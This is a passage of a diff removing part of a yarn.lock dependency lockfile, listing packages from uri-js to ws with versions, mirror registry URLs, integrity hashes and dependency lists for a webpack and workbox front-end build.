-  resolved "https://registry.npm.taobao.org/uri-js/download/uri-js-4.4.1.tgz#9b1a52595225859e55f669d928f88c6c57f2a77e"
-  integrity sha1-mxpSWVIlhZ5V9mnZKPiMbFfyp34=
-  dependencies:
-    punycode "^2.1.0"
-
-urix@^0.1.0:
-  version "0.1.0"
-  resolved "https://registry.npm.taobao.org/urix/download/urix-0.1.0.tgz#da937f7a62e21fec1fd18d49b35c2935067a6c72"
-  integrity sha1-2pN/emLiH+wf0Y1Js1wpNQZ6bHI=
-
-url-loader@4.1.1:
-  version "4.1.1"
-  resolved "https://registry.npm.taobao.org/url-loader/download/url-loader-4.1.1.tgz#28505e905cae158cf07c92ca622d7f237e70a4e2"
-  integrity sha1-KFBekFyuFYzwfJLKYi1/I35wpOI=
-  dependencies:
-    loader-utils "^2.0.0"
-    mime-types "^2.1.27"
-    schema-utils "^3.0.0"
-
-url-parse@^1.4.3, url-parse@^1.5.1:
-  version "1.5.1"
-  resolved "https://registry.npm.taobao.org/url-parse/download/url-parse-1.5.1.tgz?cache=0&sync_timestamp=1613659753482&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Furl-parse%2Fdownload%2Furl-parse-1.5.1.tgz#d5fa9890af8a5e1f274a2c98376510f6425f6e3b"
-  integrity sha1-1fqYkK+KXh8nSiyYN2UQ9kJfbjs=
-  dependencies:
-    querystringify "^2.1.1"
-    requires-port "^1.0.0"
-
-url@^0.11.0:
-  version "0.11.0"
-  resolved "https://registry.npm.taobao.org/url/download/url-0.11.0.tgz#3838e97cfc60521eb73c525a8e55bfdd9e2e28f1"
-  integrity sha1-ODjpfPxgUh63PFJajlW/3Z4uKPE=
-  dependencies:
-    punycode "1.3.2"
-    querystring "0.2.0"
-
-use@^3.1.0:
-  version "3.1.1"
-  resolved "https://registry.npm.taobao.org/use/download/use-3.1.1.tgz#d50c8cac79a19fbc20f2911f56eb973f4e10070f"
-  integrity sha1-1QyMrHmhn7wg8pEfVuuXP04QBw8=
-
-util-deprecate@^1.0.1, util-deprecate@^1.0.2, util-deprecate@~1.0.1:
-  version "1.0.2"
-  resolved "https://registry.npm.taobao.org/util-deprecate/download/util-deprecate-1.0.2.tgz#450d4dc9fa70de732762fbd2d4a28981419a0ccf"
-  integrity sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8=
-
-util.promisify@1.0.0:
-  version "1.0.0"
-  resolved "https://registry.npm.taobao.org/util.promisify/download/util.promisify-1.0.0.tgz?cache=0&sync_timestamp=1610159819836&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Futil.promisify%2Fdownload%2Futil.promisify-1.0.0.tgz#440f7165a459c9a16dc145eb8e72f35687097030"
-  integrity sha1-RA9xZaRZyaFtwUXrjnLzVocJcDA=
-  dependencies:
-    define-properties "^1.1.2"
-    object.getownpropertydescriptors "^2.0.3"
-
-util.promisify@~1.0.0:
-  version "1.0.1"
-  resolved "https://registry.npm.taobao.org/util.promisify/download/util.promisify-1.0.1.tgz?cache=0&sync_timestamp=1610159819836&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Futil.promisify%2Fdownload%2Futil.promisify-1.0.1.tgz#6baf7774b80eeb0f7520d8b81d07982a59abbaee"
-  integrity sha1-a693dLgO6w91INi4HQeYKlmruu4=
-  dependencies:
-    define-properties "^1.1.3"
-    es-abstract "^1.17.2"
-    has-symbols "^1.0.1"
-    object.getownpropertydescriptors "^2.1.0"
-
-util@0.10.3:
-  version "0.10.3"
-  resolved "https://registry.nlark.com/util/download/util-0.10.3.tgz#7afb1afe50805246489e3db7fe0ed379336ac0f9"
-  integrity sha1-evsa/lCAUkZInj23/g7TeTNqwPk=
-  dependencies:
-    inherits "2.0.1"
-
-util@^0.11.0:
-  version "0.11.1"
-  resolved "https://registry.nlark.com/util/download/util-0.11.1.tgz#3236733720ec64bb27f6e26f421aaa2e1b588d61"
-  integrity sha1-MjZzNyDsZLsn9uJvQhqqLhtYjWE=
-  dependencies:
-    inherits "2.0.3"
-
-utila@~0.4:
-  version "0.4.0"
-  resolved "https://registry.npm.taobao.org/utila/download/utila-0.4.0.tgz#8a16a05d445657a3aea5eecc5b12a4fa5379772c"
-  integrity sha1-ihagXURWV6Oupe7MWxKk+lN5dyw=
-
-utils-merge@1.0.1:
-  version "1.0.1"
-  resolved "https://registry.npm.taobao.org/utils-merge/download/utils-merge-1.0.1.tgz#9f95710f50a267947b2ccc124741c1028427e713"
-  integrity sha1-n5VxD1CiZ5R7LMwSR0HBAoQn5xM=
-
-uuid@^3.3.2, uuid@^3.4.0:
-  version "3.4.0"
-  resolved "https://registry.nlark.com/uuid/download/uuid-3.4.0.tgz#b23e4358afa8a202fe7a100af1f5f883f02007ee"
-  integrity sha1-sj5DWK+oogL+ehAK8fX4g/AgB+4=
-
-uuid@^8.3.0:
-  version "8.3.2"
-  resolved "https://registry.nlark.com/uuid/download/uuid-8.3.2.tgz#80d5b5ced271bb9af6c445f21a1a04c606cefbe2"
-  integrity sha1-gNW1ztJxu5r2xEXyGhoExgbO++I=
-
-v8-compile-cache@^2.0.3:
-  version "2.3.0"
-  resolved "https://registry.npm.taobao.org/v8-compile-cache/download/v8-compile-cache-2.3.0.tgz?cache=0&sync_timestamp=1614993639567&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fv8-compile-cache%2Fdownload%2Fv8-compile-cache-2.3.0.tgz#2de19618c66dc247dcfb6f99338035d8245a2cee"
-  integrity sha1-LeGWGMZtwkfc+2+ZM4A12CRaLO4=
-
-v8-to-istanbul@^7.0.0:
-  version "7.1.2"
-  resolved "https://registry.nlark.com/v8-to-istanbul/download/v8-to-istanbul-7.1.2.tgz#30898d1a7fa0c84d225a2c1434fb958f290883c1"
-  integrity sha1-MImNGn+gyE0iWiwUNPuVjykIg8E=
-  dependencies:
-    "@types/istanbul-lib-coverage" "^2.0.1"
-    convert-source-map "^1.6.0"
-    source-map "^0.7.3"
-
-validate-npm-package-license@^3.0.1:
-  version "3.0.4"
-  resolved "https://registry.npm.taobao.org/validate-npm-package-license/download/validate-npm-package-license-3.0.4.tgz#fc91f6b9c7ba15c857f4cb2c5defeec39d4f410a"
-  integrity sha1-/JH2uce6FchX9MssXe/uw51PQQo=
-  dependencies:
-    spdx-correct "^3.0.0"
-    spdx-expression-parse "^3.0.0"
-
-vary@~1.1.2:
-  version "1.1.2"
-  resolved "https://registry.npm.taobao.org/vary/download/vary-1.1.2.tgz#2299f02c6ded30d4a5961b0b9f74524a18f634fc"
-  integrity sha1-IpnwLG3tMNSllhsLn3RSShj2NPw=
-
-vendors@^1.0.0:
-  version "1.0.4"
-  resolved "https://registry.npm.taobao.org/vendors/download/vendors-1.0.4.tgz?cache=0&sync_timestamp=1615203397897&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fvendors%2Fdownload%2Fvendors-1.0.4.tgz#e2b800a53e7a29b93506c3cf41100d16c4c4ad8e"
-  integrity sha1-4rgApT56Kbk1BsPPQRANFsTErY4=
-
-vm-browserify@^1.0.1:
-  version "1.1.2"
-  resolved "https://registry.npm.taobao.org/vm-browserify/download/vm-browserify-1.1.2.tgz#78641c488b8e6ca91a75f511e7a3b32a86e5dda0"
-  integrity sha1-eGQcSIuObKkadfUR56OzKobl3aA=
-
-w3c-hr-time@^1.0.2:
-  version "1.0.2"
-  resolved "https://registry.npm.taobao.org/w3c-hr-time/download/w3c-hr-time-1.0.2.tgz#0a89cdf5cc15822df9c360543676963e0cc308cd"
-  integrity sha1-ConN9cwVgi35w2BUNnaWPgzDCM0=
-  dependencies:
-    browser-process-hrtime "^1.0.0"
-
-w3c-xmlserializer@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.npm.taobao.org/w3c-xmlserializer/download/w3c-xmlserializer-2.0.0.tgz#3e7104a05b75146cc60f564380b7f683acf1020a"
-  integrity sha1-PnEEoFt1FGzGD1ZDgLf2g6zxAgo=
-  dependencies:
-    xml-name-validator "^3.0.0"
-
-walker@^1.0.7, walker@~1.0.5:
-  version "1.0.7"
-  resolved "https://registry.npm.taobao.org/walker/download/walker-1.0.7.tgz#2f7f9b8fd10d677262b18a884e28d19618e028fb"
-  integrity sha1-L3+bj9ENZ3JisYqITijRlhjgKPs=
-  dependencies:
-    makeerror "1.0.x"
-
-warning@^4.0.0, warning@^4.0.3:
-  version "4.0.3"
-  resolved "https://registry.yarnpkg.com/warning/-/warning-4.0.3.tgz#16e9e077eb8a86d6af7d64aa1e05fd85b4678ca3"
-  integrity sha512-rpJyN222KWIvHJ/F53XSZv0Zl/accqHR8et1kpaMTD/fLCRxtV8iX8czMzY7sVZupTI3zcUTg8eycS2kNF9l6w==
-  dependencies:
-    loose-envify "^1.0.0"
-
-watchpack-chokidar2@^2.0.1:
-  version "2.0.1"
-  resolved "https://registry.npm.taobao.org/watchpack-chokidar2/download/watchpack-chokidar2-2.0.1.tgz?cache=0&sync_timestamp=1604989128919&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fwatchpack-chokidar2%2Fdownload%2Fwatchpack-chokidar2-2.0.1.tgz#38500072ee6ece66f3769936950ea1771be1c957"
-  integrity sha1-OFAAcu5uzmbzdpk2lQ6hdxvhyVc=
-  dependencies:
-    chokidar "^2.1.8"
-
-watchpack@^1.7.4:
-  version "1.7.5"
-  resolved "https://registry.nlark.com/watchpack/download/watchpack-1.7.5.tgz#1267e6c55e0b9b5be44c2023aed5437a2c26c453"
-  integrity sha1-EmfmxV4Lm1vkTCAjrtVDeiwmxFM=
-  dependencies:
-    graceful-fs "^4.1.2"
-    neo-async "^2.5.0"
-  optionalDependencies:
-    chokidar "^3.4.1"
-    watchpack-chokidar2 "^2.0.1"
-
-wbuf@^1.1.0, wbuf@^1.7.3:
-  version "1.7.3"
-  resolved "https://registry.npm.taobao.org/wbuf/download/wbuf-1.7.3.tgz#c1d8d149316d3ea852848895cb6a0bfe887b87df"
-  integrity sha1-wdjRSTFtPqhShIiVy2oL/oh7h98=
-  dependencies:
-    minimalistic-assert "^1.0.0"
-
-web-vitals@^1.0.1:
-  version "1.1.2"
-  resolved "https://registry.nlark.com/web-vitals/download/web-vitals-1.1.2.tgz#06535308168986096239aa84716e68b4c6ae6d1c"
-  integrity sha1-BlNTCBaJhgliOaqEcW5otMaubRw=
-
-webidl-conversions@^5.0.0:
-  version "5.0.0"
-  resolved "https://registry.npm.taobao.org/webidl-conversions/download/webidl-conversions-5.0.0.tgz#ae59c8a00b121543a2acc65c0434f57b0fc11aff"
-  integrity sha1-rlnIoAsSFUOirMZcBDT1ew/BGv8=
-
-webidl-conversions@^6.1.0:
-  version "6.1.0"
-  resolved "https://registry.npm.taobao.org/webidl-conversions/download/webidl-conversions-6.1.0.tgz#9111b4d7ea80acd40f5270d666621afa78b69514"
-  integrity sha1-kRG01+qArNQPUnDWZmIa+ni2lRQ=
-
-webpack-dev-middleware@^3.7.2:
-  version "3.7.3"
-  resolved "https://registry.nlark.com/webpack-dev-middleware/download/webpack-dev-middleware-3.7.3.tgz?cache=0&sync_timestamp=1622642057023&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fwebpack-dev-middleware%2Fdownload%2Fwebpack-dev-middleware-3.7.3.tgz#0639372b143262e2b84ab95d3b91a7597061c2c5"
-  integrity sha1-Bjk3KxQyYuK4SrldO5GnWXBhwsU=
-  dependencies:
-    memory-fs "^0.4.1"
-    mime "^2.4.4"
-    mkdirp "^0.5.1"
-    range-parser "^1.2.1"
-    webpack-log "^2.0.0"
-
-webpack-dev-server@3.11.1:
-  version "3.11.1"
-  resolved "https://registry.nlark.com/webpack-dev-server/download/webpack-dev-server-3.11.1.tgz?cache=0&sync_timestamp=1620307436096&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fwebpack-dev-server%2Fdownload%2Fwebpack-dev-server-3.11.1.tgz#c74028bf5ba8885aaf230e48a20e8936ab8511f0"
-  integrity sha1-x0Aov1uoiFqvIw5Iog6JNquFEfA=
-  dependencies:
-    ansi-html "0.0.7"
-    bonjour "^3.5.0"
-    chokidar "^2.1.8"
-    compression "^1.7.4"
-    connect-history-api-fallback "^1.6.0"
-    debug "^4.1.1"
-    del "^4.1.1"
-    express "^4.17.1"
-    html-entities "^1.3.1"
-    http-proxy-middleware "0.19.1"
-    import-local "^2.0.0"
-    internal-ip "^4.3.0"
-    ip "^1.1.5"
-    is-absolute-url "^3.0.3"
-    killable "^1.0.1"
-    loglevel "^1.6.8"
-    opn "^5.5.0"
-    p-retry "^3.0.1"
-    portfinder "^1.0.26"
-    schema-utils "^1.0.0"
-    selfsigned "^1.10.8"
-    semver "^6.3.0"
-    serve-index "^1.9.1"
-    sockjs "^0.3.21"
-    sockjs-client "^1.5.0"
-    spdy "^4.0.2"
-    strip-ansi "^3.0.1"
-    supports-color "^6.1.0"
-    url "^0.11.0"
-    webpack-dev-middleware "^3.7.2"
-    webpack-log "^2.0.0"
-    ws "^6.2.1"
-    yargs "^13.3.2"
-
-webpack-log@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.npm.taobao.org/webpack-log/download/webpack-log-2.0.0.tgz?cache=0&sync_timestamp=1615477439589&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fwebpack-log%2Fdownload%2Fwebpack-log-2.0.0.tgz#5b7928e0637593f119d32f6227c1e0ac31e1b47f"
-  integrity sha1-W3ko4GN1k/EZ0y9iJ8HgrDHhtH8=
-  dependencies:
-    ansi-colors "^3.0.0"
-    uuid "^3.3.2"
-
-webpack-manifest-plugin@2.2.0:
-  version "2.2.0"
-  resolved "https://registry.npm.taobao.org/webpack-manifest-plugin/download/webpack-manifest-plugin-2.2.0.tgz?cache=0&sync_timestamp=1617285943443&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fwebpack-manifest-plugin%2Fdownload%2Fwebpack-manifest-plugin-2.2.0.tgz#19ca69b435b0baec7e29fbe90fb4015de2de4f16"
-  integrity sha1-GcpptDWwuux+KfvpD7QBXeLeTxY=
-  dependencies:
-    fs-extra "^7.0.0"
-    lodash ">=3.5 <5"
-    object.entries "^1.1.0"
-    tapable "^1.0.0"
-
-webpack-sources@^1.1.0, webpack-sources@^1.3.0, webpack-sources@^1.4.0, webpack-sources@^1.4.1, webpack-sources@^1.4.3:
-  version "1.4.3"
-  resolved "https://registry.nlark.com/webpack-sources/download/webpack-sources-1.4.3.tgz?cache=0&sync_timestamp=1622110410694&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fwebpack-sources%2Fdownload%2Fwebpack-sources-1.4.3.tgz#eedd8ec0b928fbf1cbfe994e22d2d890f330a933"
-  integrity sha1-7t2OwLko+/HL/plOItLYkPMwqTM=
-  dependencies:
-    source-list-map "^2.0.0"
-    source-map "~0.6.1"
-
-webpack@4.44.2:
-  version "4.44.2"
-  resolved "https://registry.nlark.com/webpack/download/webpack-4.44.2.tgz?cache=0&sync_timestamp=1622150661840&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fwebpack%2Fdownload%2Fwebpack-4.44.2.tgz#6bfe2b0af055c8b2d1e90ed2cd9363f841266b72"
-  integrity sha1-a/4rCvBVyLLR6Q7SzZNj+EEma3I=
-  dependencies:
-    "@webassemblyjs/ast" "1.9.0"
-    "@webassemblyjs/helper-module-context" "1.9.0"
-    "@webassemblyjs/wasm-edit" "1.9.0"
-    "@webassemblyjs/wasm-parser" "1.9.0"
-    acorn "^6.4.1"
-    ajv "^6.10.2"
-    ajv-keywords "^3.4.1"
-    chrome-trace-event "^1.0.2"
-    enhanced-resolve "^4.3.0"
-    eslint-scope "^4.0.3"
-    json-parse-better-errors "^1.0.2"
-    loader-runner "^2.4.0"
-    loader-utils "^1.2.3"
-    memory-fs "^0.4.1"
-    micromatch "^3.1.10"
-    mkdirp "^0.5.3"
-    neo-async "^2.6.1"
-    node-libs-browser "^2.2.1"
-    schema-utils "^1.0.0"
-    tapable "^1.1.3"
-    terser-webpack-plugin "^1.4.3"
-    watchpack "^1.7.4"
-    webpack-sources "^1.4.1"
-
-websocket-driver@>=0.5.1, websocket-driver@^0.7.4:
-  version "0.7.4"
-  resolved "https://registry.npm.taobao.org/websocket-driver/download/websocket-driver-0.7.4.tgz#89ad5295bbf64b480abcba31e4953aca706f5760"
-  integrity sha1-ia1Slbv2S0gKvLox5JU6ynBvV2A=
-  dependencies:
-    http-parser-js ">=0.5.1"
-    safe-buffer ">=5.1.0"
-    websocket-extensions ">=0.1.1"
-
-websocket-extensions@>=0.1.1:
-  version "0.1.4"
-  resolved "https://registry.npm.taobao.org/websocket-extensions/download/websocket-extensions-0.1.4.tgz#7f8473bc839dfd87608adb95d7eb075211578a42"
-  integrity sha1-f4RzvIOd/YdgituV1+sHUhFXikI=
-
-whatwg-encoding@^1.0.5:
-  version "1.0.5"
-  resolved "https://registry.npm.taobao.org/whatwg-encoding/download/whatwg-encoding-1.0.5.tgz#5abacf777c32166a51d085d6b4f3e7d27113ddb0"
-  integrity sha1-WrrPd3wyFmpR0IXWtPPn0nET3bA=
-  dependencies:
-    iconv-lite "0.4.24"
-
-whatwg-fetch@^3.4.1:
-  version "3.6.2"
-  resolved "https://registry.npm.taobao.org/whatwg-fetch/download/whatwg-fetch-3.6.2.tgz#dced24f37f2624ed0281725d51d0e2e3fe677f8c"
-  integrity sha1-3O0k838mJO0CgXJdUdDi4/5nf4w=
-
-whatwg-mimetype@^2.3.0:
-  version "2.3.0"
-  resolved "https://registry.npm.taobao.org/whatwg-mimetype/download/whatwg-mimetype-2.3.0.tgz#3d4b1e0312d2079879f826aff18dbeeca5960fbf"
-  integrity sha1-PUseAxLSB5h5+Cav8Y2+7KWWD78=
-
-whatwg-url@^8.0.0, whatwg-url@^8.5.0:
-  version "8.5.0"
-  resolved "https://registry.npm.taobao.org/whatwg-url/download/whatwg-url-8.5.0.tgz#7752b8464fc0903fec89aa9846fc9efe07351fd3"
-  integrity sha1-d1K4Rk/AkD/siaqYRvye/gc1H9M=
-  dependencies:
-    lodash "^4.7.0"
-    tr46 "^2.0.2"
-    webidl-conversions "^6.1.0"
-
-which-boxed-primitive@^1.0.2:
-  version "1.0.2"
-  resolved "https://registry.npm.taobao.org/which-boxed-primitive/download/which-boxed-primitive-1.0.2.tgz#13757bc89b209b049fe5d86430e21cf40a89a8e6"
-  integrity sha1-E3V7yJsgmwSf5dhkMOIc9AqJqOY=
-  dependencies:
-    is-bigint "^1.0.1"
-    is-boolean-object "^1.1.0"
-    is-number-object "^1.0.4"
-    is-string "^1.0.5"
-    is-symbol "^1.0.3"
-
-which-module@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.npm.taobao.org/which-module/download/which-module-2.0.0.tgz?cache=0&sync_timestamp=1614792316802&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fwhich-module%2Fdownload%2Fwhich-module-2.0.0.tgz#d9ef07dce77b9902b8a3a8fa4b31c3e3f7e6e87a"
-  integrity sha1-2e8H3Od7mQK4o6j6SzHD4/fm6Ho=
-
-which@^1.2.9, which@^1.3.1:
-  version "1.3.1"
-  resolved "https://registry.npm.taobao.org/which/download/which-1.3.1.tgz#a45043d54f5805316da8d62f9f50918d3da70b0a"
-  integrity sha1-pFBD1U9YBTFtqNYvn1CRjT2nCwo=
-  dependencies:
-    isexe "^2.0.0"
-
-which@^2.0.1, which@^2.0.2:
-  version "2.0.2"
-  resolved "https://registry.npm.taobao.org/which/download/which-2.0.2.tgz#7c6a8dd0a636a0327e10b59c9286eee93f3f51b1"
-  integrity sha1-fGqN0KY2oDJ+ELWckobu6T8/UbE=
-  dependencies:
-    isexe "^2.0.0"
-
-word-wrap@^1.2.3, word-wrap@~1.2.3:
-  version "1.2.3"
-  resolved "https://registry.npm.taobao.org/word-wrap/download/word-wrap-1.2.3.tgz#610636f6b1f703891bd34771ccb17fb93b47079c"
-  integrity sha1-YQY29rH3A4kb00dxzLF/uTtHB5w=
-
-workbox-background-sync@^5.1.4:
-  version "5.1.4"
-  resolved "https://registry.npm.taobao.org/workbox-background-sync/download/workbox-background-sync-5.1.4.tgz#5ae0bbd455f4e9c319e8d827c055bb86c894fd12"
-  integrity sha1-WuC71FX06cMZ6NgnwFW7hsiU/RI=
-  dependencies:
-    workbox-core "^5.1.4"
-
-workbox-broadcast-update@^5.1.4:
-  version "5.1.4"
-  resolved "https://registry.npm.taobao.org/workbox-broadcast-update/download/workbox-broadcast-update-5.1.4.tgz#0eeb89170ddca7f6914fa3523fb14462891f2cfc"
-  integrity sha1-DuuJFw3cp/aRT6NSP7FEYokfLPw=
-  dependencies:
-    workbox-core "^5.1.4"
-
-workbox-build@^5.1.4:
-  version "5.1.4"
-  resolved "https://registry.npm.taobao.org/workbox-build/download/workbox-build-5.1.4.tgz#23d17ed5c32060c363030c8823b39d0eabf4c8c7"
-  integrity sha1-I9F+1cMgYMNjAwyII7OdDqv0yMc=
-  dependencies:
-    "@babel/core" "^7.8.4"
-    "@babel/preset-env" "^7.8.4"
-    "@babel/runtime" "^7.8.4"
-    "@hapi/joi" "^15.1.0"
-    "@rollup/plugin-node-resolve" "^7.1.1"
-    "@rollup/plugin-replace" "^2.3.1"
-    "@surma/rollup-plugin-off-main-thread" "^1.1.1"
-    common-tags "^1.8.0"
-    fast-json-stable-stringify "^2.1.0"
-    fs-extra "^8.1.0"
-    glob "^7.1.6"
-    lodash.template "^4.5.0"
-    pretty-bytes "^5.3.0"
-    rollup "^1.31.1"
-    rollup-plugin-babel "^4.3.3"
-    rollup-plugin-terser "^5.3.1"
-    source-map "^0.7.3"
-    source-map-url "^0.4.0"
-    stringify-object "^3.3.0"
-    strip-comments "^1.0.2"
-    tempy "^0.3.0"
-    upath "^1.2.0"
-    workbox-background-sync "^5.1.4"
-    workbox-broadcast-update "^5.1.4"
-    workbox-cacheable-response "^5.1.4"
-    workbox-core "^5.1.4"
-    workbox-expiration "^5.1.4"
-    workbox-google-analytics "^5.1.4"
-    workbox-navigation-preload "^5.1.4"
-    workbox-precaching "^5.1.4"
-    workbox-range-requests "^5.1.4"
-    workbox-routing "^5.1.4"
-    workbox-strategies "^5.1.4"
-    workbox-streams "^5.1.4"
-    workbox-sw "^5.1.4"
-    workbox-window "^5.1.4"
-
-workbox-cacheable-response@^5.1.4:
-  version "5.1.4"
-  resolved "https://registry.npm.taobao.org/workbox-cacheable-response/download/workbox-cacheable-response-5.1.4.tgz#9ff26e1366214bdd05cf5a43da9305b274078a54"
-  integrity sha1-n/JuE2YhS90Fz1pD2pMFsnQHilQ=
-  dependencies:
-    workbox-core "^5.1.4"
-
-workbox-core@^5.1.4:
-  version "5.1.4"
-  resolved "https://registry.npm.taobao.org/workbox-core/download/workbox-core-5.1.4.tgz#8bbfb2362ecdff30e25d123c82c79ac65d9264f4"
-  integrity sha1-i7+yNi7N/zDiXRI8gseaxl2SZPQ=
-
-workbox-expiration@^5.1.4:
-  version "5.1.4"
-  resolved "https://registry.npm.taobao.org/workbox-expiration/download/workbox-expiration-5.1.4.tgz#92b5df461e8126114943a3b15c55e4ecb920b163"
-  integrity sha1-krXfRh6BJhFJQ6OxXFXk7LkgsWM=
-  dependencies:
-    workbox-core "^5.1.4"
-
-workbox-google-analytics@^5.1.4:
-  version "5.1.4"
-  resolved "https://registry.npm.taobao.org/workbox-google-analytics/download/workbox-google-analytics-5.1.4.tgz#b3376806b1ac7d7df8418304d379707195fa8517"
-  integrity sha1-szdoBrGsfX34QYME03lwcZX6hRc=
-  dependencies:
-    workbox-background-sync "^5.1.4"
-    workbox-core "^5.1.4"
-    workbox-routing "^5.1.4"
-    workbox-strategies "^5.1.4"
-
-workbox-navigation-preload@^5.1.4:
-  version "5.1.4"
-  resolved "https://registry.nlark.com/workbox-navigation-preload/download/workbox-navigation-preload-5.1.4.tgz#30d1b720d26a05efc5fa11503e5cc1ed5a78902a"
-  integrity sha1-MNG3INJqBe/F+hFQPlzB7Vp4kCo=
-  dependencies:
-    workbox-core "^5.1.4"
-
-workbox-precaching@^5.1.4:
-  version "5.1.4"
-  resolved "https://registry.npm.taobao.org/workbox-precaching/download/workbox-precaching-5.1.4.tgz#874f7ebdd750dd3e04249efae9a1b3f48285fe6b"
-  integrity sha1-h09+vddQ3T4EJJ766aGz9IKF/ms=
-  dependencies:
-    workbox-core "^5.1.4"
-
-workbox-range-requests@^5.1.4:
-  version "5.1.4"
-  resolved "https://registry.npm.taobao.org/workbox-range-requests/download/workbox-range-requests-5.1.4.tgz#7066a12c121df65bf76fdf2b0868016aa2bab859"
-  integrity sha1-cGahLBId9lv3b98rCGgBaqK6uFk=
-  dependencies:
-    workbox-core "^5.1.4"
-
-workbox-routing@^5.1.4:
-  version "5.1.4"
-  resolved "https://registry.npm.taobao.org/workbox-routing/download/workbox-routing-5.1.4.tgz#3e8cd86bd3b6573488d1a2ce7385e547b547e970"
-  integrity sha1-PozYa9O2VzSI0aLOc4XlR7VH6XA=
-  dependencies:
-    workbox-core "^5.1.4"
-
-workbox-strategies@^5.1.4:
-  version "5.1.4"
-  resolved "https://registry.npm.taobao.org/workbox-strategies/download/workbox-strategies-5.1.4.tgz#96b1418ccdfde5354612914964074d466c52d08c"
-  integrity sha1-lrFBjM395TVGEpFJZAdNRmxS0Iw=
-  dependencies:
-    workbox-core "^5.1.4"
-    workbox-routing "^5.1.4"
-
-workbox-streams@^5.1.4:
-  version "5.1.4"
-  resolved "https://registry.npm.taobao.org/workbox-streams/download/workbox-streams-5.1.4.tgz#05754e5e3667bdc078df2c9315b3f41210d8cac0"
-  integrity sha1-BXVOXjZnvcB43yyTFbP0EhDYysA=
-  dependencies:
-    workbox-core "^5.1.4"
-    workbox-routing "^5.1.4"
-
-workbox-sw@^5.1.4:
-  version "5.1.4"
-  resolved "https://registry.npm.taobao.org/workbox-sw/download/workbox-sw-5.1.4.tgz#2bb34c9f7381f90d84cef644816d45150011d3db"
-  integrity sha1-K7NMn3OB+Q2EzvZEgW1FFQAR09s=
-
-workbox-webpack-plugin@5.1.4:
-  version "5.1.4"
-  resolved "https://registry.npm.taobao.org/workbox-webpack-plugin/download/workbox-webpack-plugin-5.1.4.tgz#7bfe8c16e40fe9ed8937080ac7ae9c8bde01e79c"
-  integrity sha1-e/6MFuQP6e2JNwgKx66ci94B55w=
-  dependencies:
-    "@babel/runtime" "^7.5.5"
-    fast-json-stable-stringify "^2.0.0"
-    source-map-url "^0.4.0"
-    upath "^1.1.2"
-    webpack-sources "^1.3.0"
-    workbox-build "^5.1.4"
-
-workbox-window@^5.1.4:
-  version "5.1.4"
-  resolved "https://registry.npm.taobao.org/workbox-window/download/workbox-window-5.1.4.tgz#2740f7dea7f93b99326179a62f1cc0ca2c93c863"
-  integrity sha1-J0D33qf5O5kyYXmmLxzAyiyTyGM=
-  dependencies:
-    workbox-core "^5.1.4"
-
-worker-farm@^1.7.0:
-  version "1.7.0"
-  resolved "https://registry.npm.taobao.org/worker-farm/download/worker-farm-1.7.0.tgz#26a94c5391bbca926152002f69b84a4bf772e5a8"
-  integrity sha1-JqlMU5G7ypJhUgAvabhKS/dy5ag=
-  dependencies:
-    errno "~0.1.7"
-
-worker-rpc@^0.1.0:
-  version "0.1.1"
-  resolved "https://registry.npm.taobao.org/worker-rpc/download/worker-rpc-0.1.1.tgz#cb565bd6d7071a8f16660686051e969ad32f54d5"
-  integrity sha1-y1Zb1tcHGo8WZgaGBR6WmtMvVNU=
-  dependencies:
-    microevent.ts "~0.1.1"
-
-wrap-ansi@^5.1.0:
-  version "5.1.0"
-  resolved "https://registry.npm.taobao.org/wrap-ansi/download/wrap-ansi-5.1.0.tgz#1fd1f67235d5b6d0fee781056001bfb694c03b09"
-  integrity sha1-H9H2cjXVttD+54EFYAG/tpTAOwk=
-  dependencies:
-    ansi-styles "^3.2.0"
-    string-width "^3.0.0"
-    strip-ansi "^5.0.0"
-
-wrap-ansi@^6.2.0:
-  version "6.2.0"
-  resolved "https://registry.npm.taobao.org/wrap-ansi/download/wrap-ansi-6.2.0.tgz#e9393ba07102e6c91a3b221478f0257cd2856e53"
-  integrity sha1-6Tk7oHEC5skaOyIUePAlfNKFblM=
-  dependencies:
-    ansi-styles "^4.0.0"
-    string-width "^4.1.0"
-    strip-ansi "^6.0.0"
-
-wrappy@1:
-  version "1.0.2"
-  resolved "https://registry.nlark.com/wrappy/download/wrappy-1.0.2.tgz?cache=0&sync_timestamp=1619133505879&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fwrappy%2Fdownload%2Fwrappy-1.0.2.tgz#b5243d8f3ec1aa35f1364605bc0d1036e30ab69f"
-  integrity sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=
-
-write-file-atomic@^3.0.0:
-  version "3.0.3"
-  resolved "https://registry.npm.taobao.org/write-file-atomic/download/write-file-atomic-3.0.3.tgz#56bd5c5a5c70481cd19c571bd39ab965a5de56e8"
-  integrity sha1-Vr1cWlxwSBzRnFcb05q5ZaXeVug=
-  dependencies:
-    imurmurhash "^0.1.4"
-    is-typedarray "^1.0.0"
-    signal-exit "^3.0.2"
-    typedarray-to-buffer "^3.1.5"
-
-ws@^6.2.1:
-  version "6.2.2"
-  resolved "https://registry.nlark.com/ws/download/ws-6.2.2.tgz?cache=0&sync_timestamp=1622572542898&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fws%2Fdownload%2Fws-6.2.2.tgz#dd5cdbd57a9979916097652d78f1cc5faea0c32e"
-  integrity sha1-3Vzb1XqZeZFgl2UtePHMX66gwy4=
-  dependencies:
-    async-limiter "~1.0.0"
-
-ws@^7.4.5:
-  version "7.4.6"
